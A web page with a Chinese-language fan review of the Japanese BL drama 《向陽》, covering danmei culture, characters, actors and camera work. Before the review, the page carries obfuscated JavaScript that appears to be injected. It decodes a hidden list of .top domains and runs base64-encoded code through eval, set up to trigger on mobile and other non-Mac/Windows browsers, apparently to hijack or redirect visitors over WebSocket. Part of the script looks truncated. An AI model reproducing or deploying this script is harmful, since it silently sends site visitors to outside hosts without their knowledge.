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function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'tv' + 'YxC' + 'mbu' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("eXEuZmp1cWEudG9wLHl6LnlydWFqZC50b3AseWEuZGhrcXFlLnRvcA=="); var dnum = 3; var snum = "3"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); 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劇情簡介
寫在前面: 耽美,起源于日本,原指“沉溺于美好的事物”,而今在中國多用于形容女性作者創(chuàng)作、主要以女性讀者和少數(shù)男性酷兒群體為預(yù)設(shè)接受群體,主要表現(xiàn)兩個美男子之間的愛情故事。早在上世紀30年代,“耽美小說”這一文類就新興于日本,最終經(jīng)由發(fā)展逐步壯大發(fā)展形成如動漫,影視劇等多種藝術(shù)形式。而在上世紀末,借著“改開”的東風(fēng),“耽美”最終進入我國,其中以小說這一門類的發(fā)展尤為顯著,最終借助晉江這一女性向小說平臺的推捧走向成熟,成為一種不可忽視的亞文化。 為什么“耽美文化”尤為受到女性讀者和少數(shù)男性酷兒群體的熱愛,我覺得主要有以下幾個原因:一是滿足了該群體的普遍性心理——即喜歡世俗意義下具有吸引力的男性形象;二是借助雙男主實現(xiàn)在父權(quán)社會下難以實現(xiàn)的地位趨近平等的愛情體驗。 如果你是十年甚至二十年及以上的“腐齡”,應(yīng)該不難記得,在耽美傳入中國的初期所形成的小說創(chuàng)作中,不難發(fā)現(xiàn)受角大體沒有偏移女性刻板形象直接性轉(zhuǎn)的創(chuàng)作思路,而劇情大體也沒有脫離“王子拯救睡美人”的經(jīng)典瑪麗蘇行文套路。而隨著時代的發(fā)展,人們對女性主義、父權(quán)社會的更清晰認識、對靈魂共振般愛情體驗的追求,乃至只是單純對老套“瑪麗蘇”“杰克蘇”情節(jié)的厭倦最終成功倒逼耽美小說開始跳脫出原有模式,逐漸出現(xiàn)“雙強”“互攻”這些設(shè)定,甚至直接進入一向男性作者統(tǒng)治的軍事武俠刑偵類等創(chuàng)作領(lǐng)域。 閑話扯了不少,最終還是要回到這部影視作品本身,在如今這個耽美作品井噴的年代這部作品究竟以什么特質(zhì)吸引了已有十?dāng)?shù)年的作品體驗的我的目光。 一、較好的人物設(shè)定。 現(xiàn)階段還能做到“出圈”的作品,人設(shè)一定不能踩雷且還應(yīng)帶有亮點,即基本要做到兩個男主的“實力”要趨于平等,就像《星條紅與皇室藍》里的總統(tǒng)兒子和王子;雖然世俗實力和性格都弱勢,但卻帶有讀心魔法的《30歲魔法師》;就算是看似相差最大的《青春王室》里的王子和少數(shù)族裔的平民,作者也賦予了其過人的音樂天賦和人格意識。 《向陽》在設(shè)定上最大的亮點則是把“陽光健氣神經(jīng)大條”這一通常習(xí)慣性定義在攻角的特質(zhì)最終賦予在了受角的身上。 二、優(yōu)異的內(nèi)容。 電視劇作為視聽的藝術(shù),本劇沒有采用日劇慣有的高飽和暖色調(diào)濾鏡,而使用了 不同于一般同志向的影視作品,耽美總歸還是要“美”,兩名主演的各自形象在貼合人物的同時,也必須做到“好看”這一基本要求。《向陽》的兩名主演中澤元紀,小林虎之介當(dāng)然都是其中翹楚,但只是長得好,并不是讓觀眾給予好評的主要原因,只有好的演技和故事才是讓觀眾為之買單的決定因素。 太一這一角色的難點在于如何自然不造作的演出其陽光活力又“天然呆”的性格特征,你很難想象除了小林虎之介之外第二個做小內(nèi)八、嘟嘴鼓腮、蹦蹦跳跳、跨式上自行車這些動作只能讓你覺得青春可愛而不會雞皮疙瘩掉一地的男演員。而航平這一角色則需要要求演員敏銳的復(fù)刻其脆弱的內(nèi)心,外界一丁點的風(fēng)吹草動就能造成情緒的波動,很顯然中澤元紀做到了。 現(xiàn)階段的人對愛情一般分為三個階段的追求:即“門當(dāng)戶對”-“才子佳人”-“靈魂伴侶”。影視作品這種作為基于生活卻高于生活的藝術(shù)門類,自然被寄予了實現(xiàn)普羅大眾對愛情最高理想的使命,即實現(xiàn)靈魂相融的愿望。劇中(目前前五集)太一和航平因偶然相識,雖偶有誤解(并非狗血drama,而是理念不同)能通過交流溝通(而不是互相折磨)的模式逐步走向共振的趨勢,顯然也符合20S的觀眾對基礎(chǔ)類愛情影像的普遍需求。 電視劇作為視聽的藝術(shù),拍攝手法和內(nèi)容設(shè)計也是考驗導(dǎo)演基本功和篩選成品的一大途徑,這其中本劇也算是亮點頻頻。 首先是《向陽》沒有采用日劇慣用的高飽和暖色調(diào)濾鏡,而是采用更趨近真實生活的色調(diào),讓觀眾更有代入感;二是采用片頭和主線的雙視角呼應(yīng)的模式,讓整部劇帶有閱讀嚴肅文學(xué)般的感官體驗;三是使用大量拍攝技巧,如用窗簾的開閉暗示人物內(nèi)心的打開程度,光線明暗對照人物性格等。其中最突出的當(dāng)然要數(shù)第五集的樓梯表白這一高光時刻,大量的一般運用在電影的抖動鏡頭,正反切鏡頭集中而出,導(dǎo)演的用心程度可見一斑。 三、用影視傳遞人文關(guān)懷。 好的影視作品從來不只是承擔(dān)僅供娛樂的作用,好作品中的人物行為通常都能擁有一定的啟示作用。 本作的航平是后天性的耳聾患者,從擁有到失去是比從來不曾擁有更致命的打擊,因此他的心思也極為的細膩敏感。本作通過太一和一些配角的言行,告訴我們應(yīng)該如何去對待那些身處弱勢的群體——即把他們當(dāng)成“普通人”就好,很多時候你自己為是的善意都只不過是你沒有意識到的傲慢。(想到了莫言、余華和史鐵生的故事) 感謝能看到這里的看客,相信各位也是源于對這部作品有著極高的熱情,在此也希望這部作品能圓滿收場,后續(xù)想到些什么或許也會再進行補充,其中若有錯誤,歡迎指正。 —————————————————————————— 寫在后面: 追了一個夏天,終于完結(jié)了。想說的大概也就這些了,從第七集開始雖然在內(nèi)容上有起有伏,但真的很愛這兩個角色和演員。很久沒有看劇看出戒斷反應(yīng)了,甚至有了學(xué)習(xí)日語的沖動。 最后就是祝福這個世界上還在努力生活和相愛的所有人。
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